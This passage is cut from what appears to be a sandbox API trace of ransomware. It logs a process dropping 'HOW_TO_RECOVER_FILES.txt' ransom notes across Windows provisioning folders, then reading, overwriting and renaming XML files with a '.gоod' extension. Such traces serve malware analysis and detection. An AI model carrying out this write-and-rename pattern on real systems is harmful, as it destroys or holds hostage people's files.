"c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0109.265] GetFileType (hFile=0x7b4) returned 0x1 [0109.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0109.265] GetFileType (hFile=0x7b4) returned 0x1 [0109.265] WriteFile (in: hFile=0x7b4, lpBuffer=0x336f2c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x336f2c0*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0109.266] CloseHandle (hObject=0x7b4) returned 1 [0109.267] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0109.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0109.267] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0109.267] GetFileType (hFile=0x7b4) returned 0x1 [0109.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0109.267] GetFileType (hFile=0x7b4) returned 0x1 [0109.268] WriteFile (in: hFile=0x7b4, lpBuffer=0x3372bb8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x3372bb8*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0109.269] CloseHandle (hObject=0x7b4) returned 1 [0109.269] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0109.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0109.269] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0109.632] GetFileType (hFile=0x7b4) returned 0x1 [0109.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0109.632] GetFileType (hFile=0x7b4) returned 0x1 [0109.633] WriteFile (in: hFile=0x7b4, lpBuffer=0x33a8c20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x33a8c20*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0109.634] CloseHandle (hObject=0x7b4) returned 1 [0109.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0109.634] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpFilePart=0x0) returned 0x4c [0109.634] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.635] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.635] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0109.635] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0109.635] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0109.635] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0109.635] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0109.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0109.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0109.636] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}", lpFilePart=0x0) returned 0x4c [0109.636] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.636] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.636] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0109.636] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0109.636] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0109.636] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.637] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0109.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0109.637] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0109.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0109.637] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x33b8aa0 | out: lpFileInformation=0x33b8aa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x504)) returned 1 [0109.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0109.637] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0109.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0109.637] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0109.637] GetFileType (hFile=0x7b4) returned 0x1 [0109.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0109.637] GetFileType (hFile=0x7b4) returned 0x1 [0109.637] GetFileSize (in: hFile=0x7b4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x504 [0109.637] ReadFile (in: hFile=0x7b4, lpBuffer=0x33b92c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x33b92c0*, lpNumberOfBytesRead=0x1f9edc08*=0x504, lpOverlapped=0x0) returned 1 [0109.639] CloseHandle (hObject=0x7b4) returned 1 [0110.676] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0110.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0110.676] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0110.677] GetFileType (hFile=0x7c8) returned 0x1 [0110.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0110.677] GetFileType (hFile=0x7c8) returned 0x1 [0110.677] WriteFile (in: hFile=0x7c8, lpBuffer=0x37f60d8*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x37f60d8*, lpNumberOfBytesWritten=0x1f9edb18*=0x510, lpOverlapped=0x0) returned 1 [0110.678] CloseHandle (hObject=0x7c8) returned 1 [0110.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0110.678] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0110.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0110.678] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3e2d9d46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x510)) returned 1 [0110.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0110.679] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.gоod")) returned 1 [0111.057] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0111.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0111.057] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x3559e18 | out: lpFileInformation=0x3559e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ebc18d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0111.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0111.057] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0111.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0111.057] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0111.057] GetFileType (hFile=0x7c8) returned 0x1 [0111.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0111.058] GetFileType (hFile=0x7c8) returned 0x1 [0111.058] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x10f [0111.058] ReadFile (in: hFile=0x7c8, lpBuffer=0x355a250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x355a250*, lpNumberOfBytesRead=0x1f9edc08*=0x10f, lpOverlapped=0x0) returned 1 [0111.058] CloseHandle (hObject=0x7c8) returned 1 [0111.307] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0111.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0111.308] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0111.309] GetFileType (hFile=0x7b4) returned 0x1 [0111.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0111.309] GetFileType (hFile=0x7b4) returned 0x1 [0111.309] WriteFile (in: hFile=0x7b4, lpBuffer=0x33fc840*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x33fc840*, lpNumberOfBytesWritten=0x1f9edb18*=0x110, lpOverlapped=0x0) returned 1 [0111.310] CloseHandle (hObject=0x7b4) returned 1 [0111.310] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0111.310] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0111.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0111.310] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3e8f5d7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0111.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0111.310] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\masterdatastore.xml.gоod")) returned 1 [0111.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0111.311] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov", lpFilePart=0x0) returned 0x51 [0111.311] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0112.787] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 